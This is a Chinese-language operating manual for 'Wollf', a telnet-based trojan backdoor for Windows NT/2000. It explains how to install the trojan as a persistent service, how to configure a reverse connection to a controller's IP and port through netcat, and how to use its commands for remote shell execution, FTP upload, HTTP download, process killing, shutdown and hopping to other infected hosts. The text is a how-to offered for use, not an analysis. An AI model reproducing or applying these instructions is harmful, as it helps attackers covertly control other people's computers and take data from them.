telnet木马Wollf的使用命令

c3253220

Wollf remote manager v1.3, for Windows NT/2000, build 2002-01-19
Code by wollf, http://www.xfocus.org

扩展Telnet服务，可传输文件，可反向连接，可通过参数选择随系统启动或作为普通进程启动。

运行参数：
wollf [options]

[options]含义如下：
-install：安装wollf服务，默认参数；
-remove：停止并清除wollf服务；
-debug：调试wollf服务，用于安装失败后查看出错信息；
-once：作为普通进程运行，重启后不自动加载；
-listen [port]：监听指定端口，等待远程连接，主要用于反向连接方式；
-setup：对wollf.exe进行设置，包括监听端口、访问口令或设置为反向连接方式，完成后将生成wollf_new.exe，设置内容及示例见\"config_howto.txt\"。

运行示例：
\"wollf\" 安装并启动服务，监听默认端口7614；
\"wollf -remove\" 停止并卸载服务；
\"wollf -debug\" 无法安装服务，加-debug参数运行，以便查看失败原因；
\"wollf -once\" 作为普通进程运行，重新启动后不自动加载，指定监听2000端口；
\"wollf -listen 2000\" 监听2000端口，等待远程机器主动连接；
\"wollf -setup\" 对wollf.exe进行配置，并生成wollf_new.exe。

默认监听端口为7614，通过Telnet连接后可输入\"help\"查看命令列表。可通过\"exit\"命令断开连接，\"quit\"命令关闭服务，\"remove\"命令关闭并卸载服务。
若将wollf服务设置为反向连接方式，需要事先向FTP或HTTP服务器上传一个包含控制者IP地址和监听端口的文本文件，格式为\"[IP]:[port]\"，如\"192.168.1.1:2000\"，然后运行\"wollf -listen 2000\"等待连接。
建议使用nc(NetCat)作为客户端进行连接。命令参数中如有空格必须置于引号对中，如CD \"My Documents\"。

目前支持以下命令：

DOS 切换到MS-DOS提示符
DIR/LS/LIST 目录/文件列表
CD 进入目录
MD/MKDIR 创建目录
PWD 查看当前目录
COPY/CP 复制目录/文件
DEL/RM 删除目录/文件
REN 重命名文件
MOVE/MV 移动目录/文件
TYPE/CAT 查看文本内容
WGET 从HTTP服务器下载文件
FGET 从FTP服务器下载文件
FPUT 向FTP服务器上传文件
SHELL 通过系统SHELL(cmd.exe)执行命令，如\"SHELL DIR\"
EXEC/RUN 通过Windows API(WinExec)运行程序
PS 查看进程列表
WS 查看窗口列表
KILL 强行关闭进程
WHO/W 查看当前所有连接者IP
EXPORT 在新端口输出SHELL
TELNET 连接到其他安装本服务的机器
POPMSG 弹出系统对话框
SYSINFO 查看系统基本信息
SHUTDOWN 关闭系统
EXIT 断开当前连接
QUIT 断开所有连接并终止服务
REMOVE 卸载服务
VER/VERSION 版本信息
HELP/H/? 帮助信息